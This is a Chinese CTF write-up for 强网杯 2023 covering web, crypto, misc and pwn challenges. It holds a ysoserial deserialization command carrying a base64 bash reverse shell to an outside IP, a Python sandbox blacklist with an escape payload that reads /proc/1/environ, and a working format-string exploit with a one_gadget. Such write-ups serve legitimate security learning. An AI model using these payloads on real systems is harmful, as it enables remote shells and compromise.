强网杯2023 wp

队伍信息

Web

happygame

发现是grpc服务
用postman的grpc模式发包
ysoserial生成cc7
反弹shell

1
java -jar ysoserial.jar CommonsCollections7 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzguMTM1LjY3LzgwMDEgMD4mMQ==}|{base64,-d}|{bash,-i}" |base64 -w0 >2.txt

Crypto

discrete_log

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from Crypto.Util.number import *
from Crypto.Util.Padding import pad
flag = 'flag{d3b07b0d416ebb}'

assert len(flag) <= 45
assert flag.startswith('flag{')
assert flag.endswith('}')

m = bytes_to_long(pad(flag.encode(), 128))

p = 0xf6e82946a9e7657cebcd14018a314a33c48b80552169f3069923d49c301f8dbfc6a1ca82902fc99a9e8aff92cef927e8695baeba694ad79b309af3b6a190514cb6bfa98bbda651f9dc8f80d8490a47e8b7b22ba32dd5f24fd7ee058b4f6659726b9ac50c8a7f97c3c4a48f830bc2767a15c16fe28a9b9f4ca3949ab6eb2e53c3
g = 5

assert m < (p - 1)

c = pow(g, m, p)

with open('out.txt', 'w') as f:
print(f"{p = }", file=f)
print(f"{g = }", file=f)
print(f"{c = }", file=f)

解题思路

DLP问题,p=2q+1,一开始看这个p作为安全素数,怎么能分解,然后查到了几个帖子。
How can I solve the discrete logarithm modulo 2q+1 if I can solve it in the subgroup of order q?
On getting beyond LSB in discrete log
第一个告诉我们安全素数可以从Zp群降到Zq群,其实就是方便分解也没啥特别了。第二个贴说了一个 $r^{x}=hg^{-x_0}\bmod p$ 的办法,结合给出的

1
2
3
4
5
flag = 'flag{d3b07b0d416ebb}'

assert len(flag) <= 45
assert flag.startswith('flag{')
assert flag.endswith('}')

可以知道去掉flag头和flag尾,还有pad,字符串应该不大,选择大概在10~20左右进行爆破,(其实是一个一个试。。。就是中间人相遇的问题了,硬爆。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
p = 
g = 5
c =

q = (p - 1) // 2

from Crypto.Util.number import *
from Crypto.Util.Padding import pad
from tqdm import tqdm
from itertools import product

i = 12 # 调一次10多分钟,不会多线程真麻了

tmpf = bytes_to_long(pad(b'flag{' + b'\x00' * i + b'}', 128))
lift = pow(256, (128 - i - len('flag{}') + 1))
c= c* pow(g, -tmpf, p) % p
c= pow(c, inverse(lift, q), p)

table = [hex(i)[2:] for i in range(16)]
dic = dict()
hg, lg = pow(g, 256**(i//2), p), g

for pre in tqdm(product(table, repeat=i//2)):
pre = bytes_to_long(''.join(pre).encode())
now = c* pow(hg, -pre, p) % p
dic[now] = pre

for suf in tqdm(product(table, repeat=i//2)):
suf = bytes_to_long(''.join(suf).encode())
now = pow(lg, suf, p)
if now in dic:
print(dic[now])
print(suf)
print(b'flag{' + long_to_bytes(dic[now]) + long_to_bytes(suf) + b'}')

b’flag{61e8007dd65f}’

Misc

谍影重重2.0

题目说明

题目内容:
小明是某间谍组织的一员,他终日监听着我国某重点军事基地的飞行动态,妄图通过分析参数找到我国飞的最快的飞机。我国费尽千辛万苦抓住了他,并在他的电脑上找到了一段他监听的信息,请分析出这段信息中飞的最快的飞机。
格式为flag{md5(ICAO CODE of the fastest plane)}

解题思路

由提示知是飞机流量
https://mode-s.org/decode/content/ads-b/1-basics.html
导出有tcp.payload字段的流 为1.pcapng

1
2
tshark -r 1.pcapng -T fields -e tcp.payload  | sed 's/1a33ffffffffffff.\{2\}//'  > data.txt
sed 's/1a32ffffffffffff.\{2\}//' data.txt

提取数据
pip install pyModeS

1
2
3
4
5
6
import pyModeS as pms
with open('1.txt', 'r') as file:
lines = file.readlines()

for i in lines:
pms.tell(i)


ICAO 要大写

1
2
79A05E
flag{4cf6729b9bc05686a79c1620b0b1967b}

Pyjail ! It’s myFILTER !!!

题目说明

题目内容:
你能否能帮助她绕过filter呢?是时候拿出真本事!提示:本题需要一定的成功率,如果你认为你的payload能够工作,请多尝试几遍!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import code, os, subprocess
import pty
def blacklist_fun_callback(*args):
print("Player! It's already banned!")

pty.spawn = blacklist_fun_callback
os.system = blacklist_fun_callback
os.popen = blacklist_fun_callback
subprocess.Popen = blacklist_fun_callback
subprocess.call = blacklist_fun_callback
code.interact = blacklist_fun_callback
code.compile_command = blacklist_fun_callback

vars = blacklist_fun_callback
attr = blacklist_fun_callback
dir = blacklist_fun_callback
getattr = blacklist_fun_callback
exec = blacklist_fun_callback
__import__ = blacklist_fun_callback
compile = blacklist_fun_callback
breakpoint = blacklist_fun_callback

del os, subprocess, code, pty, blacklist_fun_callback
input_code = input("Can u input your code to escape > ")

blacklist_words = [
"subprocess",
"os",
"code",
"interact",
"pty",
"pdb",
"platform",
"importlib",
"timeit",
"imp",
"commands",
"popen",
"load_module",
"spawn",
"system",
"/bin/sh",
"/bin/bash",
"flag",
"eval",
"exec",
"compile",
"input",
"vars",
"attr",
"dir",
"getattr"
"__import__",
"__builtins__",
"__getattribute__",
"__class__",
"__base__",
"__subclasses__",
"__getitem__",
"__self__",
"__globals__",
"__init__",
"__name__",
"__dict__",
"._module",
"builtins",
"breakpoint",
"import",
]

def my_filter(input_code):
for x in blacklist_words:
if x in input_code:
return False
return True

while '{' in input_code and '}' in input_code and input_code.isascii() and my_filter(input_code) and "eval" not in input_code and len(input_code) < 65:
input_code = eval(f"f'{input_code}'")
else:
print("Player! Please obey the filter rules which I set!")

解题思路

限制了payload长度小于65
过滤了很多
Printopenread 没过滤,可以配合读文件并打印
读取当前进程的环境变量

1
{print(open("/proc/1/environ").read())}

easyfuzz

解题思路

一个个遍历9位字符
返回的0代表该位字符不对,1则代表该位字符正确

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
import string
import os

context.log_level = 'error'
a = 9
flag = ''
def send_string(data):
r = remote('101.200.122.251', 12199) # 远程服务器的地址和端口号,替换为实际值
r.recvuntil(b"Enter a string (should be less than 10 bytes): ") # 接收并丢弃直到遇到指定字符串的输入
r.sendline(data) # 发送数据到服务器
result = r.recvline().decode().strip() # 接收服务器回传的数据
if 'flag' in result:
print(result)
os.system(exit)
print("Sent:", data) # 打印发送的数据
print("Received:", result) # 打印接收到的数据
r.close() # 关闭与服务器的连接
return result

def find_correct_string(current_string, position):
global flag
global a
charset = string.digits + string.ascii_letters # 可能字符的集合,digits 是数字,ascii_letters 是字母

if position == 9: # 达到字符串的长度上限
result = send_string(current_string) # 发送当前字符串并获取结果
if result[-1] == '1': # 如果结果的最后一个字符是 '1',表示字符串是正确的
return current_string
else:
return None
for c in charset: # 遍历可能的字符集合
test_string = ( flag + c +'0'*(8-len(flag))).encode() # 组合测试字符串,将未使用的位置填充为 '0'
result = send_string(test_string) # 发送测试字符串并获取结果
if result[-(9-len(flag))] == '1':
flag = flag + chr(test_string[-(9-len(flag))])
print(flag)
recursive_result = find_correct_string(test_string.decode(), position+1) # 递归调用,继续验证下一个字符位置
if recursive_result is not None: # 如果递归结果不为空,表示找到了正确的字符串
return recursive_result


return None # 如果在所有可能的字符中都未找到正确的字符串,则返回 None

correct_string = find_correct_string('', 0) # 从空字符串开始验证
print("Correct string:", correct_string) # 打印正确的字符串

00qwbGood

Happy Chess

解题思路

每轮输入1 1时观察靶机返回值,怀疑存在逻辑漏洞
然后每轮输入1 1 来循环最后以exit结束对局并开启下一局,循环10轮后就拿到了flag

强网先锋

石头剪刀布

解题思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# 爆破求解 发现机器出拳在前面出拳顺序相同的情况下始终不变 
# 每轮剪刀石头布都尝试一次
# 获胜则记录下出拳, 用于下一次的求解
# 运行爆破后再手动将输出结果粘贴到success函数
import random
from pwn import *

context.log_level = 'critical'

link = 'nc 8.147.129.191 42289'.split(' ')
p = remote(link[1], link[2])

winning_strategy = []

# while len(winning_strategy) < 100:
while 0:
p = remote(link[1], link[2])
for i in winning_strategy:
p.sendline(str(i).encode())
p.recv()
# out = (p.recv().decode(encoding='utf-8'))[-50:]
# out = p.recvuntil('你的分数:'.encode(encoding='utf-8'))[-50:]
out = p.recvrepeat(timeout=1)[-180:-50]
# print(p.recvuntil(b'-----------------------------------',drop=1),end='\t')
# print(out)
for i in range(3):
p.sendline(str(i).encode())
out = p.recvrepeat(timeout=1)[-180:-50]
print(i, end='\t')
# print(out)
if '你赢了'.encode(encoding='utf-8') in out:
winning_strategy.append(i)
break
if '平局'.encode(encoding='utf-8') or 'Me10n赢了'.encode(encoding='utf-8') in out:
print('[-] pass')
p.close()
p = remote(link[1], link[2])
for i in winning_strategy:
p.sendline(str(i).encode())
# print(out.decode(encoding='utf8', errors='ignore'))
p.close()
print(len(winning_strategy), winning_strategy)

def success():
win = [1, 2, 1, 2, 1, 2, 2, 0, 0, 1, 2, 0, 1, 2, 0, 2, 0, 0, 2, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 2, 2, 2, 2, 0, 1, 0, 1, 0, 2, 0, 2, 1, 2, 1, 0, 2, 1, 0, 0, 1, 2, 2, 0, 1, 2, 0, 0, 2, 1, 1, 1, 2, 2, 1, 2, 2, 0, 0, 0, 0, 1, 2, 2, 0, 1, 0, 1, 0, 1, 1, 2, 0, 2, 1, 0, 2, 2, 1, 2, 0, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1]
for i in win:
p.sendline(str(i).encode())

success()
p.interactive()

SpeedUp

解题思路

https://oeis.org/A244060/list

找到PNG了吗

题目说明

解题思路

不太会Linux内存取证,用R-studio看了一下,没找到啥有用的东西,直接Strings 找到PNG了吗.mem(这个过程要耗一点时间,文件太大了)
然后在字符串中翻看到一处加密程序

主要加密函数如下,根据 rc4_encrypt_decrypt可以看出这是一个对文件进行RC4加密的程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int a=0;
char q[10];
unsigned char key[]="do_not_care";
unsigned char key2[] = "where_is_the_key";
FILE* file = fopen("have_your_fun.jocker", "wb");
if (file == NULL) {
printf("open file failed!\n");
return 1;
}
unsigned char *str;
str = (char *) malloc(20000);
memcpy(str, buff, 20000);
rc4_encrypt_decrypt(key2, str, 20000);
printf("please give me the key of fun:");
scanf("%s",q);
rc4_encrypt_decrypt(key, str, 20000);

fwrite(buff, 1, 20000, file);
printf("maybe you go wrong");
fclose(file);
close(clientSocket);
return 0;

再根据题目信息猜测这个加密程序对发送的png图片做了处理,所以我们逆向思维去找加密后的png图片,以png文件头为特征值RC4加密得到,新的文件头0e 3c b4 2f 99 96 95 56


往下翻,看到一些无效数据,所以在这里下断点,将上面的hex数据另存为文件,再用赛博厨子解密即可


F | ez_fmt | 解题人

题目说明

格式化字符串漏洞

解题思路


gift会泄露栈顶地址,动调可以算出ret参数的地址
格式化字符串漏洞任意地址写,可以劫持返回地址,利用printf函数泄露libc地址
给了libc文件,直接尝试打one_gadget

第二个成功
(onegadget地址计算没分情况,概率出)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
from pwn import p64
def debug():
gdb.attach(r)
pause()

r=remote('47.104.24.40',1337)
#r=process('./ez_fmt')
elf=ELF("./ez_fmt")
libc=ELF("./libc-2.31.so")
context(arch='amd64', os='linux', log_level='debug')

r.recvuntil(b'There is a gift for you ')
stack_rsp=int(r.recv(14),16)

#debug()
#-----calc addr
stack_printf_ret = stack_rsp - 0x8
stack_ret = stack_rsp + 0x78
stack_printf = stack_rsp + 0x158
success('stack_rsp: %s',hex(stack_rsp))
success('stack_ret: %s',hex(stack_ret))
success('stack_printf: %s',hex(stack_printf))

ogg1 = 0xe3afe
ogg2 = 0xe3b01
ogg3 = 0xe3b04

stack_printf_ret_addr = stack_printf_ret & 0xffff
success('stack_printf_ret_addr %s',hex(stack_printf_ret_addr))
#debug()
#-----hijack ret_addr&&leak libc_base
payload=b'%19$p'
payload+=b'%'+str(0x1205-6-8).encode()+b'c%10$hn'
payload=payload.ljust(0x20,b'a')
payload+=p64(stack_printf_ret)
r.send(payload)

r.recvuntil(b'0x')

libc_base=int(r.recv(12),16) - 0xf3 - libc.sym['__libc_start_main']
one=libc_base+ogg2
one1=one&0xffff
one2=(one>>16)&0xffff
success('libc_base: %s',hex(libc_base))

payload=b'%'+str(one2).encode()+b'c%10$hn'
payload+=b'%'+str(one1-one2).encode()+b'c%11$hn'
payload=payload.ljust(0x20,b'a')
payload+=p64(stack_ret-0x10+2)+p64(stack_ret-0x10)
r.send(payload)

r.interactive()


强网杯2023 wp
http://example.com/2023/12/21/强网杯2023/
作者
J_0k3r
发布于
2023年12月21日
许可协议
BY J_0K3R